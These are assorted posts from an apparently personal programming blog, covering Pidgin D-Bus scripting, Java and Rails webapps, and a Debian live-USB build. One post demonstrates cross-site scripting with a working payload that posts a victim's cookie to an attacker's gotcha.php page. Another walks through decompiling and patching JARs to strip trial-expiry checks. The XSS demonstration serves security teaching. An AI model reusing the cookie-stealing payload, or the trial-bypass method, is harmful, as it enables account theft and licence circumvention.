talkingCode

Awesome D-Bus

I’ve been using a new window manager - Awesome WM. It’s pretty fine. At version 2.3, it doesn’t currently support window tabbing in the way Ion does, but I’m assured that that feature is on its way. Everything else works pretty swishly, and the desktop tagging features are particularly nice.

It doesn’t come with a system tray out of the box, so I’d managed to miss some incoming instant messages. Fortunately you can write your own widgets for Awesome - you just pipe your widget updates into ‘awesome-client’.

So all I needed was a way to get the new message notification out of Pidgin…

#!/usr/bin/env python

from BeautifulSoup import BeautifulSoup
import os
import dbus.glib
import gobject
import sys

class CheckedObject:
    def __init__(self, obj):
        self.obj = obj

    def __getattr__(self, attr):
        return CheckedAttribute(self, attr)

class CheckedAttribute:
    def __init__(self, cobj, attr):
        self.cobj = cobj
        self.attr = attr

    def __call__(self, *args):
        result = self.cobj.obj.__getattr__(self.attr)(*args)
        if result == 0:
            raise "Error: " + self.attr + " " +
               str(args) + " returned " +
               str(result)
        return result

def awesome_write(string):
    awesome = os.popen("awesome-client", "w")
    widget_message = "0 widget_tell widgetbar im text %s\n" % string
    awesome.write(widget_message)
    awesome.close()

def message_received(account, sender, message, conversation, flags):
    html = BeautifulSoup(message)
    try:
      message = html.font.font.string
    except Exception, e:
      pass
    awesome_write("%s <%s>" % (message, sender))

def message_sent(account, receiver, message):
    awesome_write("")

bus = dbus.SessionBus()

obj = None
try:
    obj = bus.get_object(
        "im.pidgin.purple.PurpleService",
        "/im/pidgin/purple/PurpleObject")
except:
    print "Couldn't find Pidgin on the Bus"
    sys.exit(1)

purple = dbus.Interface(obj, "im.pidgin.purple.PurpleInterface")

cpurple = CheckedObject(purple)

bus.add_signal_receiver(message_received, dbus_interface="im.pidgin.purple.PurpleInterface", signal_name="ReceivedImMsg")
bus.add_signal_receiver(message_sent, dbus_interface="im.pidgin.purple.PurpleInterface", signal_name="SentImMsg")

gobject.MainLoop().run()

D-Bus really seems to be coming along quite nicely. dbus-inspector shows that there are a bunch of applications enabled for it (including Pidgin and XChat), and the language support seems to be fairly polished. Can’t wait to see what else ends up on the bus.

Ars run-through (with code):
http://arstechnica.com/reviews/apps/pidgin-2-0.ars/4

Pidgin list of conversation signals:
http://developer.pidgin.im/doxygen/dev/html/conversation-signals.html#sent-im-msg

D-Bus Inspector:
http://www.vitavonni.de/projekte/dbus-inspector.html.en

Awesome WM:
http://awesome.naquadah.org/

Ion WM:
http://modeemi.fi/~tuomov/ion/

Normalising MP3s

I’m changing the way I blog, and possibly starting to do it again. But I digress…

The OpenRightsGroup blog linked a recording of an interesting talk with Jonathan Zittrain (whose new book is getting some press and whose e-book PDF is available for free download), but the recording was a bit quiet and I wanted to listen to it while cooking my lunch…

# sudo apt-get install mp3gain
# mp3gain /tmp/org.mp3

/tmp/org.mp3
Recommended “Track” dB change: 25.760000
Recommended “Track” mp3 gain change: 17
WARNING: some clipping may occur with this gain change!
Max PCM sample at current gain: 21450.428803
Max mp3 global gain field: 190
Min mp3 global gain field: 129

Recommended “Album” dB change for all files: 25.760000
Recommended “Album” mp3 gain change for all files: 17
WARNING: with this global gain change, some clipping may occur in file /tmp/org.mp3

# mp3gain -g 17 /tmp/org.mp3
Applying gain change of 17 to /tmp/org.mp3…

done

…which was nice.

Talk:
http://www.openrightsgroup.org/2008/06/06/the-future-of-the-internet-in-focus/

Book:
http://futureoftheinternet.org/

Buzzword Bingo - Tomcat, Jetty, Cactus, Derby, Velocity, Maven

I’ve been writing a webapp at work recently. Because I’m writing it in Java, the scope for me to post interesting articles about what I’m doing has been pretty limited - I don’t know that much about enterprisey Java, and I spend most of my time bashing my head against a Java-shaped wall. A quick overview is probably worth doing though.

Apache
If you’ve not heard of the Apache Foundation (outside the context of their fine webserver), go visit their site now. Amongst other things, Apache are creating an incredible resource on that site in the form of a huge code commons. If you’re not sure what a commons is, a) shame on you and b) read this fine book (in fact, read it even if you are sure). The majority of the code on the Apache site is Java, so if you’re developing an application in Java it’s well worth checking the links on the left-hand side of the main page to see if they’ve already written what you’re writing, or something that will help you. The code is all Apache-licensed - a BSD-style license that is amenable to reuse in commercial projects as well as Free Software projects. It’s also very high quality code. You basically can’t lose.

strace is your friend
One of the biggest irritations, I’ve found, in using the Apache Java projects (and this is more of a function of Java than Apache) is trying to make Java find the appropriate config files. It’s pretty difficult to tell which config files Java is seeing, if any. You can download the source to the component you’re using and single step it in Eclipse, but this tends to get tedious at about the point you hit the class loader, which is exactly the point at which it’ll do any resource location. What you can do, though, is:

strace -f -p[YOUR_PID] 2>&1 | grep “your_config_file.xml”

You’re looking for things like calls to ’stat’ or results of ‘ENOENT’. This will generally tell you what Java’s looking for and where. That is, I grant you, a sledgehammer-nut solution, but I’ve found it quicker than anything else. If you know a better way to work out where I should be putting my Velocity toolbox.xml in my Maven tree for the Webapp to run in Jetty under Cactus please let me know. It’s not in the FAQ.

My environment
What am I doing with all these projects?

• Maven - Your lifecycle management tool (build and dependency management). Maven2 is much improved over Maven for having the package repositories work 99% of the time rather than the 50% that was more common in the original. The whole POM thing is… errr… a little obtuse, I grant you, but you can use Maven in a dumb way without too much trouble. The Eclipse plugin is a great way to find the packages you need too.
• Tomcat - The application server. Can’t really do a Webapp without one of those. Tomcat isn’t the only server out there, but it’s pretty well used and, as at 5.5-ish, not too difficult to make go.
• Velocity - The templating engine. The web is awash with webapp ‘frameworks’; Apache have about four of them for starters. Sometimes, though, you’re not writing for web browsers. Sometimes, you just want a way to turn your POJOs into arbitrary markup. Velocity is fast, uncomplicated and fully featured.
• Cactus - The Servlet test framework. I’ve still not completely wrapped my head around Cactus, but basically for each of your unit tests you have setUp and tearDown to manipulate state on the server, and begin and end to manipulate state on the client, and Cactus will run web requests inside a test harness for you. Trés handy.
• Jetty - A lightweight servlet container. Controversially not an Apache project, Jetty is really quite handy for running your Cactus tests. Instead of pushing the WAR all the way to Tomcat, you can new up a Jetty server inside the Maven test task and run your functional tests there.
• Derby - The lightweight database. To avoid having to have a real database available in order to run your unit tests, I find it convenient to put some test fixtures in a Derby DB and run the servlet off the back of that. This plays really nicely with the Cactus / Jetty setup and has the added advantage that (unlike MySQL) if you try and create a prepared statement that your schema can’t possibly run, Derby will warn you about that at preparation time rather than execution time. With a bit of tweaking, then, you can statically check your statements against the schema.

Making all that play together has been nightmarish, either because of my relative inexperience or because it’s genuinely difficult. I’ve embarrassingly failed to write down all the errors I encountered and how to fix them, but I may cover some of the more tricky parts of the setup in future articles. For all the setup work, though, being able to type mvn install and feel confident that your latest refactoring hasn’t broken the complex application you’ve written is worth almost any amount of blood, sweat and tears.

Simple webservice client, Ruby

Haven’t really got anything useful to write about, so here’s a simple bit of code to make XML requests to a webservice. It’s useful for me as a reference because it covers things I want to do fairly regularly - MD5-summing, Base64 encoding, fetching a page over HTTP and parsing and dumping an XML document.

For the sake of a complete example, the service we’re looking at here is a relatively RESTful directory service, exposing nested resources by extending the request URL:

# Root of service
http://some.service.com/api_root/

# List of locations
http://some.service.com/api_root/locations

# List of categories for location ID 4
http://some.service.com/api_root/categories/location/4

Requests can also have query arguments appended to specify, for example, numbers of results to return and sort order. Additionally, an authentication token and username are sent as query parameters, so that a complete request might look like:

http://some.service.com/api_root/categories/location/4?
    count=20&sort=name&uid=someuser&hash=5ju5eVirhXRqjdobToZiGA%3D%3D

The code, then, for our simple client is:

#!/usr/bin/ruby

require 'digest/md5'
require 'base64'
require 'cgi'
require 'net/http'
require 'uri'
require 'rexml/document'
require 'rexml/xpath'

BASE="http://some.service.com/api_root/"
UID="username"
PASS="suitable_password"

# Generates a valid authentication token based on 'PASS' and the
# current timestamp
def token
  plaintext = Time.now().to_i.to_s + '.' + PASS
  md5 = Digest::MD5.digest(plaintext)
  return Base64.encode64(md5).strip
end

# Returns a valid service URL, including authentication tokens
def url_for(method, args, queryargs = Hash.new)
  queryargs['uid'] = UID
  queryargs['hash'] = token
  escaped_query_parts = queryargs.collect do |entry|
    entry.collect { |e| CGI.escape(e) }.join(”=”)
  end
  escaped_args = args.unshift(method).collect { |a| CGI.escape(a) }
  path = escaped_args.join(”/”) + “?” + escaped_query_parts.join(’&')
  return BASE + path
end

# Fetches an XML document from the supplied URL
def fetch_xml(url)
  xml_string = Net::HTTP.get(URI.parse(url))
  if !xml_string
    puts “Request failed”
    exit
  end
  doc = REXML::Document.new xml_string
end

# Dumps out the ‘name’ and ‘url’ attributes for a nodelist
def dump_name_attributes(doc, path)
  REXML::XPath.each(doc, path) do |node|
    puts attribute_value(node, ‘@name’) +” (”+ attribute_value(node, ‘@url’) +”)”
  end
end

# Fetches the value of the attribute with the supplied name, or nil
def attribute_value(node, path)
  attribute = REXML::XPath.first(node, path)
  if !attribute
    return nil
  end
  return attribute.value
end

… and we might make a request as follows:

puts "Category List:"
xml = fetch_xml(url_for("categories", ["location","4"],
               { “count” => “20″,
                  “sort” => “name” }
        ))
dump_name_attributes(xml, ‘xmlservice/categories/category’)

assuming that the returned XML looks a little like this:

<xmlservice>
  <categories>
    <category name="Food" url="/api_root/category/food"/>
    <category name="Drink" url="/api_root/category/drink"/>
    <category name="Art" url="/api_root/category/art"/>
  </categories>
</xmlservice>

Building your own USB pendrive Linux image

I don’t know about you, but whenever I leave the house I have the same six items in my pockets (in order of certainty with which I believe I’m going to need them) - keys, wallet, phone, handkerchief, penknife and, as of the end of December, a 1GB USB stick with a basic Debian Live system on it.

Before December, had I been asked at a party “Exactly how geeky are you?”, I’d have meekly to have replied “Fairly.”. Henceforth, though, I shall be able to reach in to my pocket and say “Well, if you have a computer that can boot from USB mass storage and that’s configured to do so in the BIOS, I can show you…”. Of course, having such a device won’t just make you popular with the ladies - there’s a chance it’ll also have practical applications. Without further ado then…

First thing you’ll need is (at time of writing) a Debian Lenny (or more recent) install. Real men run unstable, but if you’re sitting there with Etch (running Firefox 0.0.1a on your Linux 2.0.34 machine) you can easily enough conjure up a suitable chroot with the standard:

debootstrap lenny chroot
chroot chroot

(There is, I should warn, some scope for confusion when you attempt the following inside a chroot, because the scripts create their own chroot)

Next thing to do is to install the helper packages:

apt-get install live-helper

We’re going to build the image in a fresh folder somewhere. You’ll want to pick a filesystem with plenty of disk space (~5GB) just to be on the safe side. In the fresh folder, typing lh_config will create the config directory for the image building scripts:

mkdir live
cd live
lh_config

We want to tweak some of the config files - it’d be pretty dull to go to this effort just to build a vanilla image. Below I’ve listed the changes I made to build my ‘dream’ install. The variables listed already exist in the files - you just need to change them to match what’s below:

# In 'config/binary'
LH_BINARY_IMAGES="usb-hdd"
LH_BOOTAPPEND_LIVE="locale=en_GB.UTF-8 keyb=uk"

# In 'config/bootstrap'
LH_SECTIONS="main contrib non-free"

# In 'config/chroot' (you won't want the linebreaks)
LH_PACKAGES="dns2tcp doc-base dsniff ettercap ettercap-common
less vim wireless-tools iceweasel icedove gaim curl openssh-client
openssh-server irssi centerim hexdump iproute iptables nemesis nmap
ntop privoxy socat tcpdump tor wireshark wireshark-common
firmware-ipw3945 ipw3945d ipw3945-modules-2.6-486 ncftp telnet
netcat fluxbox eterm xserver-xorg xfonts-base"

The idea with those package selections is a) to make you dangerous and b) to enable you to punch a hole through to the internet wherever possible. Once online, you can obviously install whatever else you need.

You’ll also want to:

mkdir -p config/chroot_local-includes/etc/skel/
echo fluxbox > config/chroot_local-includes/etc/skel/.xinit

This image boots to console, but typing startx will give you an X session (assuming it can detect and load the correct graphics driver).
To build the image, simply type

lh_build

Your completed image will appear as binary.img in that folder (weighing in at around 235Mb). In the event that something screws up, it’s important to understand that the state for the build process is tied up in the .stage folder. Until you notice that hiding there, the whole system can seem a bit mysterious.

All that remains is to transfer the image to your pendrive.
CAUTION: This next instruction is a dd onto a block device. My pendrive is /dev/sdb, but for all I know on your system that’s the SATA hard disk containing the only copy of your doctoral thesis.

dd if=binary.img of=/dev/sdb

You’re done. You should be able to reboot into that (assuming your BIOS supports it and is correctly configured). Couple of extra things to point out. The dd copies across a boot sector and the first partition. You can use fdisk to create further partitions on the device if you want a little read-write space. Specifically, if you type live persistent at the SysLinux prompt:

live-initramfs will look for persistent and snapshot partitions or files labeled “live-rw”, “home-rw”, and files called “live-sn*”, “home-sn*” and will try to, in order: mount as /cow the first, mount the second in /home, and just copy the contents of the latter in appropriate locations (snapshots). Snapshots will be tried to be updated on reboot/shutdown. Look at live-snapshot(1) for more informations.

More details in the manpage. To label a partition, you’re looking for:

mke2fs -L your_label /dev/sdbX

after you’ve created it in fdisk

The astute among you may spot the live-magic package. This is a GUI front-end to the process I’ve just described, but not something I’ve actually tried to use.

Long time no see

As is my wont, I took the last half of December as holiday (having carefully saved it up during the year) and got back in to work today, hence the slight drop in post frequency.

Of Blogging
If my first month of blogging taught me anything, it’s that it’s remarkably time consuming to write technical articles for a technical audience. Turning ‘that thing that I did at work today’ into an informative, accurate, and non-trivial (not to mention non-criminal) article takes more time than expected. For that reason I think I’m going to be dropping to two posts a week (if that) instead of three.
That’s the downside. The upside is that my digital log-book has actually served most / all of its intended purposes. I’ve used it for my own personal reference on more than one occasion and others have used it to help them get things done. Not only that, but I am now more intimately familiar with the seedy underbelly of the blogosphere - the SEO and the carefully selected topics titles and stubs. Analytics tells me I’ve had 540 unique visitors (which is more than I was expecting), the vast majority of whom are referred by Google search results (75%).
All in all, a successful little experiment and one I plan to continue for a while yet.

Of Holiday
I use the word ‘Holiday’ in the loosest possible sense. I mostly stayed in Cambridge pretending that Internet Radio didn’t exist, which was indescribably refreshing. I also, naturally, played a little with my computer. I have discovered that:

• Compiz now works in Sid (on Intel cards)
• If you do use Compiz, you can really only play videos with the GL renderers, and they play really badly with … err…. everything else on screen (which is obviously also GL). Also, don’t get too attached to being able to switch to console without crashing X.
• Debian has handy tools for building pendrive linux images (on which topic an article shortly)
• Xen won’t easily boot XP as an HVM guest from your pre-installed XP partition (on the same disk as your root partition). Steve said it would be fine, until I disclosed where the XP install was. Then he laughed. Then he said it was unsupported. Then, when pushed, said it was possible but ‘a really dumb idea’. He repeated that a couple of times. Then I did it anyway. Then he spent the best part of an afternoon helping me make it work. Then we gave up. I should listen to Steve.
• VMWare won’t boot XP from your pre-installed XP partition (or at least not without a Windows MBR, which I’ve not yet had a chance to copy from somewhere).
• `xset -dpms; xset s off` will turn off your screensaver, no matter how obtuse KDE is being.
• Epigenetics is fascinating. So is genetics, but I’d already heard of that. Props, as ever, to Radio 4 (and its fans)
• You really need a Raven login to access the University’s teaching materials
• Steve has a Raven login (mine’s apparently still ‘in the post’)
• If you want to play chess over the internet, you probably want to sign up at FreeChess and install pychess
• You can write your own BBC iPlayer (not sure if I’ll write an article about this), but you still can’t save the files
• I’ve forgotten how to play chess
• Sake is good

All in all a successful, relaxing and informative holiday.

Of the future
This year, apart from my New Year’s resolution to ‘Give people a break. They’re really not as bad as you make out’, I will be doing my best to sabotage the following organisations:

• Big Media - They seem to be doing a pretty good job on their own, to be fair. I was at home briefly this Christmas and for the first time in ages I saw an anti-piracy advert when I put a DVD in my parents’ player. Now don’t get me wrong, I have quite a lot of DVDs, I just don’t see the ad’s because playback software in Linux isn’t hideously crippled. If I had to watch those things, I’d certainly steal more films and buy fewer.
  I also had, as a result, to try to convince my father than in spite of what’s written in 36-point block caps on the screen, piracy is not theft. Piracy is copyright infringement; theft is theft. (Apparently the law disagrees).
• Apple - A lot of the cleverest people I know buy Apple. They don’t see that Apple is doing anything worse than your run-of-the-mill tech company and like the innovative products the company creates. If Apple are so nice, show me the offical documentation for DAAP. In fact, show me the docs for the Apple Accessory Protocol so that I can plug my iPod (I don’t own an iPod) into something that Apple didn’t make (I know such devices are available, but they all had to use the reverse engineered protocol). Apple are creating an ecosystem of devices with which you have no guarantees of interoperation, and just because the devices work and are shiny doesn’t make it good.
• The ISPs - ISPs are a necessary evil. That’s pretty much all I have to say on that.
• Adobe - When I tried to write my own BBC iPlayer, I discovered that there’s not a single place in the free world that you can find an implementation of RTMP (the Flash video streaming protocol). I found it hard to believe that there were still protocols that were secure by their obscurity, but there it is. It’s everywhere, streaming almost everything, and the only way you can view the streams is using an officially-sanctioned Flash player. Something must be done.

That’s part of the future. I’ll obviously be doing the turncoat thing of going to work everyday for what is effectively a media company, implementing existing DRM schemes, creating new ones of my own, buying DVDs, watching Flash videos and using the internet. But deep in my soul, I’ll be hating every minute of it

Adobe FlexBuilder trial on Linux

I’ve been considering playing with some Flash, and I wanted to use the FlexBuilder plugin for Eclipse on Linux to play around with some ActionScript / Flex. The install was painless enough, but on booting the thing up I noticed a status message in the bottom corner of the screen saying ‘FlexBuilder trial will expire in 14 days’.

It would be lovely if we could go ahead and fix that. Unfortunately, section 2.1.3 (b)(3) of the EULA explicitly prohibits ‘reverse engineering, decompiling, disassembling or otherwise attempting to discover the source code of the subject’, so we can’t.

Annoying trial messages plague a lot of commercial software though. It might be worth looking at some general ways to remove them on software with less restrictive EULAs.

You will need:

• JAD - I used the statically linked version

and if you want to create Flex projects on Linux you will need:

• FlexBuilder
• Eclipse 3.3

Step 1: Finding the source of the message
The quickest way to find the source of a message like ‘This software expires in 20 days’ is to grep the provided JARs for that text:

find /usr/local/install_folder -name "*.jar" |
(while read name
do
mkdir /tmp/jars
cd /tmp/jars
echo $name
jar xf $name
grep -r "expires in" .
cd ..
rm -r jars
done)

That’ll tell you roughly which JAR you care about.

Step 2: Extract the JAR

cd /tmp
mkdir working
cd working
jar xf /usr/local/install_folder/subfolder/interesting.jar

You can then look at the filenames of the extracted class files to see which look interesting. It stands to reason that if you were going to put an expiration date in your software you’d obfuscate it, possibly with a little ASN. (Well, stands to reason and you may already have drawn a blank fiddling the dates in any XML files you might have found).

Step 3: Decompile the class
You’ll hopefully have downloaded jad and put it somewhere in your path. Typing ‘jad Annoying.class’, for example, will generate Annoying.jad, the decompiled file. jad may complain that the version of a subclass is ‘49.0′, which is more recent than it supports. We’re not too worried about that.

Step 4: Edit the code
It should be obvious, looking at the decompiled code, which lines it is that are generating the message and / or any irritating dialog boxes. If it’s not, you may have selected the wrong file. Try again.

Step 5: Recompile the code
The trickiest part of recompiling decompiled code is getting the classpath right. Fortunately:

find /usr/local/e3.3/ /usr/local/install_folder/ -name "*.jar" |
 tr /\\n/ /:/; echo . > /tmp/classpath.txt

does a pretty decent job. You can then type something like:

javac -cp `cat /tmp/classpath.txt` com/evil/corp/annoyance/Annoying.java

which will generate a fresh Annoying.class.

Step 6: Rebuild the JAR
All that remains is to reassemble the JAR:

jar cf /usr/local/install_folder/subfolder/interesting.jar *

Conclusion
There are a couple of things to conclude from all this. The first is that Java isn’t the greatest obfuscation technology in the world, but then it was never really intended to be. The second is that software wants to be free.

I wonder if they do gluten free porridge.

Reading the Economist - Hpricot, Ruby-RSS, Festival

Well, having the Economist read at any rate.

First, set up Festival (configuring it to use ALSA and an ‘English’ voice):

apt-get install festival
apt-get install festvox-rablpc16k
cat > ~/.festivalrc <<END
(Parameter.set 'Audio_Command "aplay -D plug:dmix -q -c 1 -t raw -f s16 -r \$SR \$FILE")
(Parameter.set 'Audio_Method 'Audio_Command)
(voice_rab_diphone)
END

Then liberally sprinkle some ruby:

#!/usr/bin/ruby

require 'rss/1.0'
require 'rss/2.0'
require 'open-uri'
require 'yaml'
require 'hpricot'
include YAML

TEMPFILE = "/tmp/economistreader"
puts "Fetching feed"
source = "http://www.economist.com/rss/full_print_edition_rss.xml"
content = ""
open(source) do |s| content = s.read end
rss = RSS::Parser.parse(content, false)

puts "Title: #{rss.channel.title}"
puts "Found #{rss.items.size} items"
for item in rss.items
  puts "#{item.title}"
  puts "Read? [Y/n]”
  if readline.strip.downcase =~ /^n/
    next
  end
  doc = Hpricot(open(item.link))
  paras = doc.search(”//div[@class='col-left']/p[@class='']“)
  File.open(”#{TEMPFILE}.body”, “w”) do |f|
    paras.each do |p|
      f.write(p.inner_text + “\n”)
      puts p.inner_text
    end
  end
  system(”festival”, “–tts”, “#{TEMPFILE}.body”)
end

I give it about 3 articles before the voice drives me completely insane. There’s a character-set issue that puts ‘?’s in odd places and causes Festival to get confused. Even without confusing characters, free text-to-speech software still isn’t ‘all that‘.
You could also, it’s worth pointing out, visit PimpMyNews. You’ll find the Economist’s feed under ‘Business/World Business News’. Unfortunately, they are lazy and their software only reads out the text from the RSS ‘Description’ field rather than parsing the whole article. That said, if what you want is to hear the first 200 words of every article in the Economist, that’s your badger.

Writing your own cross-site scripting exploit with echo.php

I keep commenting in my posts about security, usually to the effect that I don’t care for the purposes of what I’m doing but that you should think carefully about it. I thought it might be instructive to demonstrate just how easily ‘not caring’ can get you in trouble.

In order to make the editable table demo work, I created ‘echo.php’ - a simple PHP script to echo any posted value back to the caller; in this case the TableKit AJAX so that the cells get updated. I wrote this in the obvious way:

<?php
  echo $_POST['value'];
?>

It’s a one line (one command) PHP script. What could possibly go wrong?

Well let’s see how wrong we can make things go. Anybody visiting this site will know it’s hosted on Wordpress, can discover what echo.php does, and will find out if they leave a comment on the blog that comments need approving. Let’s suppose that one such visitor (Sally, for sake of argument) wasn’t happy with that way of working and wanted to be able to approve her own comments in future. Suppose further that I’m the kind of guy who likes to get a little background on the people commenting on my blog before I approve their messages. Sally leaves an innocuous looking comment and in the Website field, puts the URL of a page on her site - http://www.sallyssite.com/some_page.html. The code for some_page.html might look like this:

<html>
<head><title>Some Page</title></head>
<body onload="submitit()">
<form name="form1"
           action="http://talkingcode.co.uk/echo.php"
           method="post">
<input type="hidden" name="value" value="<html>
<head>
<title>Pwned</title>
</head>
<body onload='pwned()'>
<script type='text/javascript' src='/script/prototype.js'>
</script>
<form name='form1' action='http://www.sallyssite.com/gotcha.php' method='get'>
<input id='result' type='hidden' name='result' value=''/>
</form>
<script>
function pwned()
{
  $('result').value = document.cookie;
  document.form1.submit()
}
</script>
</body>
</html>">
</form>
<script>
function submitit()
{
  document.form1.submit();
}
</script>
</body>
</html>

So… What happens when I click the link and visit Sally’s page? The onload action for her page submits the form that’s on it, whose action is http://talkingcode.co.uk/echo.php and whose method is POST. The POST data is the value of a hidden field called value, specifically a bunch of HTML and Javascript.

On loading the page, my browser will render the output of echo.php which is the contents of the value field, which happens to be another auto-submitting form. This time, though, the action of the form is http://www.sallyssite.com/gotcha.php, and the contents of the form’s result field is going to be my cookie for talkingCode. So… I’ll just have posted my WordPress administrator cookie over to Sally’s site. How embarrassing.

Welcome to the real world

You might think this is a pretty contrived example, but the ingredients for this attack exist in a whole lot of real world systems that you might be using. Any time you click ‘Remember me’ on a site, or on any site to which you don’t have to log in every time, you’re using cookie-based authentication. Anyone who steals the cookie can log in as you. Still, not every site has an ‘echo.php’ lying around, right? That’s as may be, but a large number of sites do render user input and that’s really all it takes. Exploiting echo.php was easy because I had complete control of the way the result was going to render, but anywhere I can get my form rendered on a site that you trust, I can steal your cookies. This might be something I’ve put on my Facebook profile (in a world where Facebook was written by monkeys), it could be a comment I’ve made on your blog (if your blog software is completely broken); anywhere that hasn’t successfully escaped HTML/Javascript in all places may be at risk. Fortunately if you’re using high-profile sites or standard tools, you’re unlikely to run in to this problem because, either by having clever developers or through many eyes, these kinds of things will have been detected and avoided. Unfortunately, you might be writing a site yourself and miss it, or using a site written by people who don’t know what they’re doing.

NoScript to the rescue?

Well, kinda. If you’ve installed NoScript - which I strongly recommend you do - the form on Sally’s page can’t auto-submit. She has to make you click on a button to submit her form. Unfortunately, that’s not that hard. She need only label it ‘Search’, or ‘click here for free money’ to socially engineer that one. The only Javascript required in the exploit is the call to document.cookie, and that runs in the trusted domain. It’s a no-brainer that I’ll have marked talkingCode as trusted in NoScript - if I hadn’t, none of my lovely demos would work (inasmuch as they work at all). Any site on which you use cookie authentication that requires Javascript is equally vulnerable.

Don’t have nightmares

It’s worth pointing out that the vast majority of sites and tools you use won’t allow you to be exposed to this. I highlighted echo.php because it’s code I actually wrote and installed on my site. There are a lot of web developers who go through their lives copying and pasting examples from blogs and forums without understanding what the risks are but you don’t need to use their sites, and you certainly needn’t be one of them. It’s also worth conceding that although the script is called echo.php, and in spite of our irrational prejudice against PHP, there’s nothing intrinsically worse about PHP in terms of security. It’s what you do with it that counts.

Editable table with Javascript, TableKit, AJAX and Rails

Me and my tables. First drag and drop, then drag-select, and now click-to-edit values with date parsing magic. It’s like having a spreadsheet in a webpage, but less pointful. You will need:

• Prototype
• Fastinit (Optional, and can also be obtained from Tablekit)
• Tablekit
• DateJS

… and a table of data:

As you can see, by clicking the cells, you can edit the data. The table data is generated by an RHTML template using appropriate ActiveRecord models:

<table class="editable">
<thead>
  <tr>
    <th>Hardware Config</th>
    <th id="odm_id">ODM</th>
    <th id="brand_id">Brand</th>
    <th id="model_name">Model</th>
    <th id="date">Date</th>
    <th><!-- actions --></th>
  </tr>
</thead>
<tbody>
<% hwconfigs_by_id = Hash.new %>
<% @hwconfigs.each { |hwc| hwconfigs_by_id[hwc.product_code] = hwc } %>
<% for i in (1..200) %>
   <% code = 1024 - i%>
   <% hwconfig = hwconfigs_by_id[code.to_s] %>
     <tr class=”<%= cycle(”odd”, “even”)%>” id=”<%= code %>”>
        <td><%= code %></td>
        <% if hwconfig %>
          <td><%= hwconfig.odm.name if hwconfig.odm %></td>
          <td><%= hwconfig.brand.name if hwconfig.brand %></td>
          <td><%= hwconfig.model_name %></td>
          <td><%= hwconfig.date %></td>
        <% else %>
          <td></td>
          <td></td>
          <td></td>
          <td></td>
        <% end %>
    </tr>
<% end %>
</tbody>
</table>

In the same template, the following code adds the Javascript that we’re going to need to make the table editable:

<%= javascript_include_tag "tablekit" %>
<%= javascript_include_tag "fastinit" %>
<%= javascript_include_tag "date-en-GB" %>
<script>
TableKit.options.editAjaxURI = '<%= url_for :controller => "hwconfigs", :action => "table_edit"%>';
TableKit.Editable.textInput('date', {}, function(string) {
  var format = "yyyy-MM-dd";
  var date = Date.parse(string);
  if (date)
  {
    return date.toString(format);
  }
  return date;
}, "today");
TableKit.Editable.textInput('model_name', {}, undefined, "");
TableKit.Editable.selectInput('odm_id', {}, [
  <% for oem in Odm.find(:all, :order => 'name') %>
    <%= "['#{oem.name}','#{oem.id}'],” %>
  <% end %>
]);
TableKit.Editable.selectInput(’brand_id’, {}, [
  <% for brand in Brand.find(:all, :order => 'name') %>
    <%= "['#{brand.name}','#{brand.id}'],” %>
  <% end %>
]);
</script>

How do you get that to update the data model? In Rails, you’d configure the javascript to post to your hwconfigs/table_edit action, and process the posts in the hwconfigs ActionController as follows:

def table_edit
  hwconfig = Hwconfig.find_by_product_code(params[:id])
  if !hwconfig
    hwconfig = Hwconfig.new()
    hwconfig.product_code = params[:id]
  end
  if !params[:value]
    params[:value] = “”
  end
  if hwconfig.respond_to? params[:field].to_sym
    hwconfig.update_attributes(params[:field] => params[:value])
  end
  result = params[:value]
  case params[:field]
    when “brand_id”
       result = hwconfig.brand.name
    when “odm_id”
       result = hwconfig.odm.name
  end
  render :text => result
  return
end

Two things worth noting there. First is the cheeky use of introspection to get the model updated (respond_to?). I keep saying this, but it’s worth remembering that this code completely trusts the client to be sending valid data. In our table we’ll have selected and sent a list of values for the drop-downs, but there’s nothing to stop someone determined sending a POST with a different set of values.
Second thing to note is that we echo back the text that we want rendered in the table cell. In the case of text and dates, that’s easy. In the case of the drop downs, we need to convert the value sent back into the name of the item that we want displayed in the table cell.
That’s the bulk of the work. There are a couple of neat tricks that you can use to make your table a bit easier to use. If you click on one of the empty ‘Date’ cells, you’ll see that the default text in the edit box is ‘today’. Clicking ‘OK’ magically translates that text into today’s date, which is quite cool. You can also try things like ‘tomorrow’, ‘last tuesday’ or ‘next week’. That’s DateJS in action. Problem is, DateJS is a client-side library so we need to do the translation from text to date before the post hits the server. How do we swindle that one? In ‘prototype.js’, we can edit the serializeElements method to perform some ‘validation’ before the post is sent:

  serializeElements: function(elements, getHash) {
    var data = elements.inject({}, function(result, element) {
      if (!element.disabled && element.name) {
        var key = element.name;
	if ($(element).validator)
	{
	  value = $(element).validator($(element).getValue());
	}
        else
	{
	  value = $(element).getValue();
	}
        if (value != undefined) {
          if (result[key]) {
            if (result[key].constructor != Array) result[key] = [result[key]];
            result[key].push(value);
          }
          else result[key] = value;
        }
      }
      return result;
    });

‘course, we’ll need to edit the constructor for the TextInput to allow us to specify a validation function and a default value in TableKit.Editable.CellEditor.prototype:

TableKit.Editable.textInput = function(n,attributes,validator,defaultvalue) {
  TableKit.Editable.addCellEditor(new TableKit.Editable.CellEditor(n, {
    element : 'input',
    attributes : Object.extend({name : 'value', type : 'text'}, attributes||{}),
    validator : validator,
    defaultvalue: defaultvalue
  }));
};

and add the validation (and default value) code:

case 'textarea':
  if (op.validator)
  {
    field.validator = op.validator;
  }
  var textVal = TableKit.getCellText(cell)
  if (textVal == undefined && op.defaultvalue != undefined)
  {
    field.value = op.defaultvalue;
  }
  else
  {
    field.value = textVal;
  }

and while we’re at it fix a bug in the drop-down value code in the same function:

case 'select':
  var txt = TableKit.getCellText(cell);
  $A(op.selectOptions).each(function(v){
    field.options[field.options.length] = new Option(v[0], v[1]);
    if(txt === v[0]) {
      field.options[field.options.length-1].selected = ’selected’;
    }
  });
  break;

Couldn’t be simpler. Or something.